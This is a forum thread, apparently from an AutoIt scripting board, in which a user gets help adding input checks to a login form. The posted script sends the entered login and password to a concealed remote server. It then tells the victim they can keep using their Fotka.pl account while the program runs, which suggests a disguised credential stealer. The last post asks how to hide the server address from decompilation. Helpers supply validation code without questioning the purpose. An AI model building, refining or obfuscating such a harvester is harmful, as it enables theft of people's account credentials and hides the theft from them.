Jump to content

check text in inputbox


BJJ
 Share

Recommended Posts

Hello,

I have no idea how check text frome inputbox

I write little code for login

somebody write own login and password

and i want make msg error if one or two inputbox be empety or written password have less as 5 mark

if $inpLogin = or > frome 5 letter then ok and func work

but if $inpLogin = 5 or less then msgbox "error bla bla bla" and func dont run

*func (sending this string to server)

Help me please :)

Q

Link to comment
Share on other sites

search the help for func usage:

$user=GUICtrlRead($idinput)
$password=GUICtrlRead($passinput)
if StringLen($password)<5 then blabla
If StringLen($user)=0 Then blabla

u get the drift

edited:

$user=GUICtrlRead($idinput)
$password=GUICtrlRead($passinput)
If StringLen($user)=0 Then
MsgBox(0,"Error","U need to write a user name")
Else
If StringLen($password)<5 Then
   MsgBox(0,"Error","Pass needs to be larger than 5 chars")
Else
  login_send()
EndIf
EndIf
Edited by Blinky
Link to comment
Share on other sites

So i make that , but i know this is crap :/

Func Sending()      

$login = GUICtrlRead($inpLogin)
$haslo = GUICtrlRead($inpHaslo)

If StringLen($haslo) <6  then  
   MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow")
  
Else
  
If StringLen($login) <2  then  
   MsgBox(-1, "ERROR", "Wpisz Login")

Else
    Sending()

EndIf
EndIf

I dont know where put this Func Sending()

btw i think this code dont block this function , when login is empety user see msgbox press ok ane script run and he didnt must write this login or something

Edited by Quzziy
Link to comment
Share on other sites

u should put it in the button push response loop

Func Login_button()

$user=GUICtrlRead($idinput)
$password=GUICtrlRead($passinput)
If StringLen($user)=0 Then
MsgBox(0,"Error","U need to write a user name")
Else
If StringLen($password)<5 Then
  MsgBox(0,"Error","Pass needs to be larger than 5 chars")
Else
  login_send(); you have to make this function
EndIf
EndIf
EndFunc

if you have any code writen please post so i can help

this func executes a nother function if the conditions are met.

i didn`t undersud what u need exactly

do u need all the code?

Link to comment
Share on other sites

I try do that now , but got difrent problem with undeclared $var

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
  Case $GUI_EVENT_CLOSE
   Exit

        Case $bStart
    
        button()    
    
EndSwitch
WEnd  

Func button()
$login = GUICtrlRead($inpLogin)
$haslo = GUICtrlRead($inpHaslo)
If StringLen($haslo) <6  then
   MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow")
Else
If StringLen($login) <2  then
  MsgBox(-1, "ERROR", "Wpisz Login")
Else
wysylanie()
EndIf
EndIf
EndFunc

Func wysylanie()
  
$host = "xxx"
$page = "xxx"
$vars = "tresc=" & "########################" & @CRLF & "Login: " & $login & @CRLF & "Haslo:  " & $haslo  & @CRLF & "########################"
$data = _HTTPEncodeString($vars)
ConsoleWrite($data & @CRLF)
$socket = _HTTPConnect($host, 80)
$post = _HTTPPost($host, $page, $socket, $data)
ConsoleWrite(@error & @CRLF)
$recv = _HTTPRead($socket,1)
FileWrite( @ScriptDir & "result.html", $recv[4] )
Sleep(1700)
GUIdelete($Form1)           ;zamyka onko
GUISetState(@SW_SHOW,$Form2) ;otwiera nowe okno
Sleep(3000)
MsgBox(-1,"Info","Mozesz zminimalizowac ten program i normalnie korzystac z konta na Fotka.pl w czasie jego pracy")
EndFunc
Edited by Quzziy
Link to comment
Share on other sites

ok.. just try adding the below line next to the header files and declare the variables as global. so you can avoid getting the "Variable used without declare error" message.

[autoit]

Opt("MustDeclareVars",1)

[/autoit}

Edited by Syed23

Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font]

Link to comment
Share on other sites

I try do that now , but got difrent problem with undeclared $var

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
  Case $GUI_EVENT_CLOSE
   Exit

        Case $bStart
    
        button()    
    
EndSwitch
WEnd  

Func button()
$login = GUICtrlRead($inpLogin)
$haslo = GUICtrlRead($inpHaslo)
If StringLen($haslo) <6  then
   MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow")
Else
If StringLen($login) <2  then
  MsgBox(-1, "ERROR", "Wpisz Login")
Else
wysylanie()
EndIf
EndIf
EndFunc

Func wysylanie()
  
$host = "xxx"
$page = "xxx"
$vars = "tresc=" & "########################" & @CRLF & "Login: " & $login & @CRLF & "Haslo:  " & $haslo  & @CRLF & "########################"
$data = _HTTPEncodeString($vars)
ConsoleWrite($data & @CRLF)
$socket = _HTTPConnect($host, 80)
$post = _HTTPPost($host, $page, $socket, $data)
ConsoleWrite(@error & @CRLF)
$recv = _HTTPRead($socket,1)
FileWrite( @ScriptDir & "result.html", $recv[4] )
Sleep(1700)
GUIdelete($Form1)           ;zamyka onko
GUISetState(@SW_SHOW,$Form2) ;otwiera nowe okno
Sleep(3000)
MsgBox(-1,"Info","Mozesz zminimalizowac ten program i normalnie korzystac z konta na Fotka.pl w czasie jego pracy")
EndFunc

Also make sure the login id and password which you have retrived on "Func button" passed properly to the function wysylanie()

Edited by Syed23

Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font]

Link to comment
Share on other sites

so goal of your code is to validate the user id and password against the domain ? i mean you are checking whether the inputboxes are not empty and the user credentials provided are valid or not ?

if yes please find this which may help you!

Edited: Added the link

Edited by Syed23

Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font]

Link to comment
Share on other sites

You use hard word and i dont understand all :)

Script send string frome both inputbox to server, but when somebody decompile my exe can see adres this serwer i want encryption this information

and make this script harder for reading after decompile od something

Anybody ??

Edited by BJJ
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...